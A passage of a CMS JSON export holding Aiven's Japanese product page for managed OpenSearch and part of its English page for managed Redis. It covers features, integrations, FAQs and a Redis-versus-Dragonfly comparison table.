まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、シングルテナント、高い可溶性のマルチAZを利用できます。"}],"markDefs":[],"style":"normal"},{"_key":"37ecd59b823b","_type":"block","children":[{"_key":"4b54518464360","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"スケールアップ、スケールダウン - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"セットアップ","text":[{"_key":"512f98156710","_type":"block","children":[{"_key":"000c0cafce12","_type":"span","marks":[],"text":"10分で本番環境にOpenSearchクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"964bc86e4221","_type":"block","children":[{"_key":"50aa75372c000","_type":"span","marks":[],"text":"ご希望のクラウドに展開可能 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ff865c0e35a0","_type":"block","children":[{"_key":"40bc4154adbc0","_type":"span","marks":[],"text":"厳選されたインスタンスタイプとストレージオプションに基づく高性能クラスタ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"99074aa5f535","_type":"block","children":[{"_key":"db13ce7528e40","_type":"span","marks":[],"text":"クラウドプロバイダーの可用性ゾーン全体に分散する高可用性クラスター (最低3ノード)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7d535de25e1","_type":"block","children":[{"_key":"2853c30b48a10","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"2853c30b48a11","_type":"span","marks":["52a997b57b18"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"2853c30b48a12","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"52a997b57b18","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft","ytId":"WLk_vz-13og"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"接続","text":[{"_key":"e77e3e043ce5","_type":"block","children":[{"_key":"e7a7215d98290","_type":"span","marks":[],"text":"Aivenの他のあらゆるサービスを含む、アプリケーションインフラからログを受信し、迅速な検索とトラブルシューティングが可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cddb3d9870ce","_type":"block","children":[{"_key":"8ef5f5d0d8b30","_type":"span","marks":[],"text":"高度な分析、SQLサポート、レポート、アラートなどのために"},{"_key":"8ef5f5d0d8b31","_type":"span","marks":["e288b934b7d5"],"text":"15以上の"},{"_key":"fdb54d172937","_type":"span","marks":["e288b934b7d5","5b2b7762a8bb"],"text":"OpenSearchプラグイン"},{"_key":"8ef5f5d0d8b32","_type":"span","marks":[],"text":"を用意"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e288b934b7d5","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/reference/plugins.html%23included-plugins"},{"_key":"5b2b7762a8bb","_type":"internalLink","href":"https://docs.aiven.io/docs/products/opensearch"}],"style":"normal"},{"_key":"8ff07ef3d3b9","_type":"block","children":[{"_key":"e3c75249431f0","_type":"span","marks":[],"text":"cURLやPython、Go、NodeJSのクライアントなど、使い慣れたツールやライブラリを引き続き使用可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e57e1d1a36e","_type":"block","children":[{"_key":"f0977128474b0","_type":"span","marks":["deb7fdee2573"],"text":"VPC peering"},{"_key":"f0977128474b1","_type":"span","marks":[],"text":"、"},{"_key":"f0977128474b2","_type":"span","marks":["3b35ac7b78e9"],"text":"PrivateLink"},{"_key":"f0977128474b3","_type":"span","marks":[],"text":"またはTransitGatewayテクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"deb7fdee2573","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"3b35ac7b78e9","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"1701ba1ff6e9","_type":"block","children":[{"_key":"8b1c0de72a390","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"25bef37253d7","_type":"span","marks":["a76048087cd6"],"text":"統合"},{"_key":"00afe66a1dd9","_type":"span","marks":[],"text":"したり、"},{"_key":"8b1c0de72a393","_type":"span","marks":["66a21ced2073"],"text":"Aivenの可観測性ツール"},{"_key":"8b1c0de72a394","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66a21ced2073","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"a76048087cd6","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight","ytId":"NOxaof5qcys"},{"_key":"b54ccb18eefa","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"管理","text":[{"_key":"fcf2d21b9e6a","_type":"block","children":[{"_key":"52ead2eb26790","_type":"span","marks":[],"text":"Aiven Console (GUI) 、"},{"_key":"52ead2eb26791","_type":"span","marks":["f3ffb8f482f5"],"text":"CLI"},{"_key":"52ead2eb26792","_type":"span","marks":[],"text":"、Terraformツールを使用してOpenSearchクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f3ffb8f482f5","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"077abfddee3f","_type":"block","children":[{"_key":"fe6ed10b87560","_type":"span","marks":[],"text":"数クリックでスケールアップ、データベースのフォーク、他サービスとの統合を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3ae1cafdf3b9","_type":"block","children":[{"_key":"d0b5b4380baa0","_type":"span","marks":["4cc381d7d14f"],"text":"オープンソースソフトウェア"},{"_key":"6c1ccf4659b2","_type":"span","marks":[],"text":"との互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4cc381d7d14f","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"4ca28710d7ed","_type":"block","children":[{"_key":"993777048b370","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft","ytId":"3lGfdjZkJkY"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"ご提供内容","text":[{"_key":"ce99e10e57f2","_type":"block","children":[{"_key":"d913d3e04b5b0","_type":"span","marks":[],"text":"ビルトインのOpenSearchダッシュボードでデータを可視化"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2e0e2171ec5","_type":"block","children":[{"_key":"a5511a37fc710","_type":"span","marks":[],"text":"99.99%のアップタイムと管理運用時のダウンタイムゼロを実現する自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8689a608a4c8","_type":"block","children":[{"_key":"665a8f006c450","_type":"span","marks":[],"text":"プランに応じた日次/時間単位の自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d59c482cbdc","_type":"block","children":[{"_key":"f0fc81e378e90","_type":"span","marks":["8ee370b1e709"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"99af2bc61808","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8ee370b1e709","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"dc30d270cff6","_type":"block","children":[{"_key":"2fa2ed889924","_type":"span","marks":[],"text":"100%サポート要員による24時間365日のサポートオプション"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"安心して利用できる検索、分析、可視化","variant":"mediaRight","ytId":"6cTUkeP7p30"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/opensearch","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"a653fb645d68","_type":"block","children":[{"_key":"5409994658fe0","_type":"span","marks":[],"text":"Aiven for OpenSearch入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"7d6dd857185e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"438bc5ef4e90","_type":"block","children":[{"_key":"f6904ab6ef170","_type":"span","marks":[],"text":"オープンソースのままElasticsearchを残しますか?すべてのデータ移行は計画済みですか?Python、Java、Node.jsで、ElasticsearchクライアントをOpenSearch®に移行する方法を学びましょう。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"ElasticsearchクライアントをOpenSearch®へ移行","variant":"default"},{"_key":"00ad3aa56de2848dc3ef0ba475a162b2","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"9e26d5391c12","_type":"block","children":[{"_key":"96e1bad4e7bc0","_type":"span","marks":[],"text":"OpenSearchは、コミュニティ主導の真のオープンソース検索・分析スイートです。このページでは、OpenSearchの機能をご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"OpenSearch®の紹介","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for OpenSearchの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"0c2f8fea2bf8","_type":"accordionItem","id":"opensearch","panelText":[{"_key":"d8d5b36dc9ec","_type":"block","children":[{"_key":"e29867b1591e0","_type":"span","marks":[],"text":"OpenSearch は、Elasticsearch 7.10.2 と Kibana 7.10.2 からフォークされたオープンソースの検索・分析スイートです。このスイートには、ユーザインタフェース、OpenSearch Dashboards、およびOpenSearch Pluginsが含まれます。"}],"markDefs":[],"style":"normal"},{"_key":"2fec8c6909f6","_type":"block","children":[{"_key":"d4766467397d0","_type":"span","marks":[],"text":"Elasticsearch と Kibana を開発した Elastic 社は、サードパーティが Elasticsearch をサービスとして提供することを制限するライセンスポリシーの変更を発表しました。OpenSearch は Elasticsearch からフォークされ、オープンソースの提供を維持するようになりました。"}],"markDefs":[],"style":"normal"},{"_key":"83a93a145071","_type":"block","children":[{"_key":"a67a8649d2980","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"OpenSearchとは?"},{"_key":"fc3d2ed76cce","_type":"accordionItem","id":"elasticsearch","panelText":[{"_key":"b337cfb72481","_type":"block","children":[{"_key":"eea103131160","_type":"span","marks":[],"text":"OpenSearchはElasticsearchからフォークされたもので、ElasticSearch 7.0と完全な互換性を持っています。いくつか注意すべき点がありますので、"},{"_key":"4c1da795f780","_type":"span","marks":["f658f1a5551e"],"text":"こちらのヘルプ記事をご覧ください"},{"_key":"3e8c6374dd4c","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"f658f1a5551e","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/concepts/opensearch-vs-elasticsearch"}],"style":"normal"}],"title":"OpenSearchとElasticsearchとの違いは?"},{"_key":"87a2220e8931","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"1149f58c437e","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee__i18n_ja","_type":"reference"},{"_key":"d5c013b8ad81","_ref":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55__i18n_ja","_type":"reference"},{"_key":"db787093e74d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for OpenSearch® - フルマネージド、メンテナンスフリーの検索・分析スイートです。オープンソースで高性能なElasticsearchに代わるデータクエリとビジュアライゼーションを提供し、すべての主要クラウドにデプロイ可能です。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-01b60df4f51dd917fa83609560877831bdba98b8-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for OpenSearch®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドOpenSearch、OpenSearch as a Service、クラウドOpenSearch、Elasticsearchの代替品\",\n \"description\": \"Aiven for OpenSearchは、Google Cloud Platform、Amazon Web Services、Microsoft Azure、DigitalOcean、UpCloudで利用できる、ドキュメントと全文検索のニーズに対応したマネージド・ホスティング・クラウド・ソリューションです。\",\n \"featureList\": \"OpenSearchダッシュボード、OpenSearchプラグイン、Terraformサポート、Datadog統合、VPCピアリング、REST API、コマンドラインツーリング、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/opensearch\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースの分散型文書・全文インデックス\",\n \"applicationSubCategory\": \"非リレーショナルデータベース\"\n}","metaTitle":"Managed OpenSearch®サービス|Aiven"},"service":{"_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},"slug":{"_type":"slug","current":"/opensearch"},"title":"OpenSearch"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T20:12:04Z","_id":"13512903-e091-4cd8-9625-d942418d75d2","_rev":"6IjwK8t2YScx5mkOZjqJOn","_type":"product","_updatedAt":"2024-05-08T16:40:00Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Redis®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"description":[{"_key":"924798a34888","_type":"block","children":[{"_key":"13a280a55eab0","_type":"span","marks":[],"text":"Aiven for Redis® is a managed, in-memory NoSQL database with a small footprint and big performance."}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-7b913b1f595d804998d62f49ba7db992112c58b3-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"Includes single dedicated VM, backups and networking","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/redis","title":"See docs"},"tagline":"Managed and hosted","title":"Aiven for Redis®*","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2","_type":"reference"},"title":"Aiven for Redis®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Redis"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"66a74d5ed880","_type":"block","children":[{"_key":"16047090f776","_type":"span","marks":["3bc9440a7d6a"],"text":"What is Redis? (blog)"}],"markDefs":[{"_key":"3bc9440a7d6a","_type":"internalLink","internalLink":{"_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"}}],"style":"normal"},{"_key":"bfe958403829","_type":"block","children":[{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Redis® (docs)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/redis"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"10fcada6cca5","_type":"block","children":[{"_key":"fb8a4d92e8970","_type":"span","marks":[],"text":"Get a fully managed, in-memory NoSQL database – with Aiven for Redis®"}],"markDefs":[],"style":"h3"},{"_key":"cad22fa7ec3a","_type":"block","children":[{"_key":"cd364ebef1a70","_type":"span","marks":[],"text":"Redis is an in-memory, open source  NoSQL datastore. Redis is perfect as a fast data store, cache, or lightweight message broker. It’s a complementary tool for your data architecture, serving as a flexible data structure server to store and recall data on the fly."}],"markDefs":[],"style":"normal"},{"_key":"0d2f13ad2e36","_type":"block","children":[{"_key":"819cbc0747070","_type":"span","marks":[],"text":"With Aiven, you can get high-performance data caching or integrate Redis easily for observability purposes such as logging and monitoring."}],"markDefs":[],"style":"normal"},{"_key":"9e733fcf32cf","_type":"block","children":[{"_key":"bb0d2e0fae110","_type":"span","marks":[],"text":"Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"779a5b150d54","_type":"block","children":[{"_key":"4757906ae4b30","_type":"span","marks":[],"text":"Set up fully managed Redis in less than 10 minutes — directly from our web console or programmatically via our API, CLI, or Terraform provider. Easily connect it to your existing tech stack and start utilizing a high performance in-memory NoSQL datastore."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for Redis®?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"fb1f618c029c","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"redis"},{"_key":"fww3wb5pqugwesdiiadvkx9xonkm3jmc","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"tankikr86zd07vs4fvraoxqlw88h7zfk","_type":"block","children":[{"_key":"b1bchp745qcgsigatlvms90i0ffq9hiz","_type":"span","marks":["strong"],"text":"Aiven for Redis"},{"_key":"7r4wey2j8b1qdvf95xixzq8y6i382ed0","_type":"span","marks":[],"text":" and "},{"_key":"51gh55cglnoow7jixhprynpacl37blam","_type":"span","marks":["strong","795e9610d74b"],"text":"Aiven for Dragonfly"},{"_key":"7qn65gmt2ab6clpbxv5njom2h3bvn7r5","_type":"span","marks":[],"text":" are both powerful solutions, designed to meet the demands of your Redis applications. If you require the ultimate in performance and scalability, then Aiven for Dragonfly is the perfect choice. For lighter workloads that prioritize cost-effectiveness and simplicity, Aiven for Redis offers a robust and affordable alternative based on open-source Redis. "}],"markDefs":[{"_key":"795e9610d74b","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"4ior2zlpw4jsvnuyk4q59489j04qs6yg","_type":"table","rows":[{"_key":"dh2xqn1qcgh93ku7ikjyapqtbxlibfze","_type":"tableRow","cells":["","Aiven for Redis","Aiven for Dragonfly"]},{"_key":"u068nrc6p13b63xptra7tdc9lu8iw1z9","_type":"tableRow","cells":["Memory size (storage)","Scales to 100GB and more, depending on the required performance","Supports up to 1TB+ of data per instance"]},{"_key":"9x5kpmr1hj35exvi4y4ire8qdlivq5uz","_type":"tableRow","cells":["Throughput","Suitable for workloads of 70.000 QPS or less","Built for workloads exceeding 70,000 QPS"]},{"_key":"prh8bk0u2plsn2yz1ppndtp6dzg4y0sk","_type":"tableRow","cells":["Features","Provides a complete open-source Redis experience","Includes all open-source Redis features, plus JSON support and vector search"]},{"_key":"zz3mhlrppjturk5554nq9d3ury4gwdhp","_type":"tableRow","cells":["Other","","Memcached compatibility"]}]}],"tagline":"Choose the ideal solution for your needs","title":"Aiven for Redis or Aiven for Dragonfly","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5b154edc449d","_type":"block","children":[{"_key":"4a8a1a6e59d10","_type":"span","marks":[],"text":"Increase the memory in your cluster, create new clusters, switch cloud providers or expand to new regions. Redis has never been this easy."}],"markDefs":[],"style":"normal"}],"title":"Scale up or down easily. Whenever you need."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5e05fcce7726","_type":"block","children":[{"_key":"3be69eb46dcf0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you so that you can focus on turning your data into actionable insights."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Redis comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"08cad0d87e2b","_type":"block","children":[{"_key":"99cf42e9ee2e0","_type":"span","marks":[],"text":"With Aiven’s fully managed service, you get all the features of Redis without any of the infrastructure stress."}],"markDefs":[],"style":"normal"},{"_key":"e1a99d868c86","_type":"block","children":[{"_key":"7bd5ce6a55600","_type":"span","marks":[],"text":"Because Aiven makes setting up services easy, you can snap Redis into your data pipelines in a matter of minutes, and get back to developing. All the installation, management, and updating is taken care of, and we provide an extensive set of tools and integrations out-of-the-box."}],"markDefs":[],"style":"normal"},{"_key":"50dcf6ee2743","_type":"block","children":[{"_key":"0d4911c4f0bf0","_type":"span","marks":[],"text":"Simply put, with Aiven, you get Redis ready to go."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Redis® as-a-service from Aiven"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"662dfb0aa52d","_type":"block","children":[{"_key":"22f8c587a3980","_type":"span","marks":[],"text":"Caching with Redis means fewer database access calls, which helps to reduce the amount of traffic and instances required. As Redis can process data with sub-millisecond latency it’s ideal for caching use."}],"markDefs":[],"style":"normal"}],"title":"Caching for databases","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"84d4ac77d641","_type":"block","children":[{"_key":"93e0908e96de0","_type":"span","marks":[],"text":"Redis supports Pub/Sub with pattern matching and many different varieties of data structure, such as lists, sorted sets and hashes. This enables support for high-performance chat rooms, real-time comment streams, social media feeds and server intercommunication."}],"markDefs":[],"style":"normal"}],"title":"Chat and messaging applications","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"b27827cec62f","_type":"block","children":[{"_key":"ef2fdd3cf9590","_type":"span","marks":[],"text":"Redis is a popular choice among game developers looking to build real-time leaderboards or scoreboards. “Sorted Sets” within Redis are a built-in data structure that makes leaderboards simple to create and manage."}],"markDefs":[],"style":"normal"}],"title":"Gaming leaderboard applications","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Redis®"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for Redis","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center 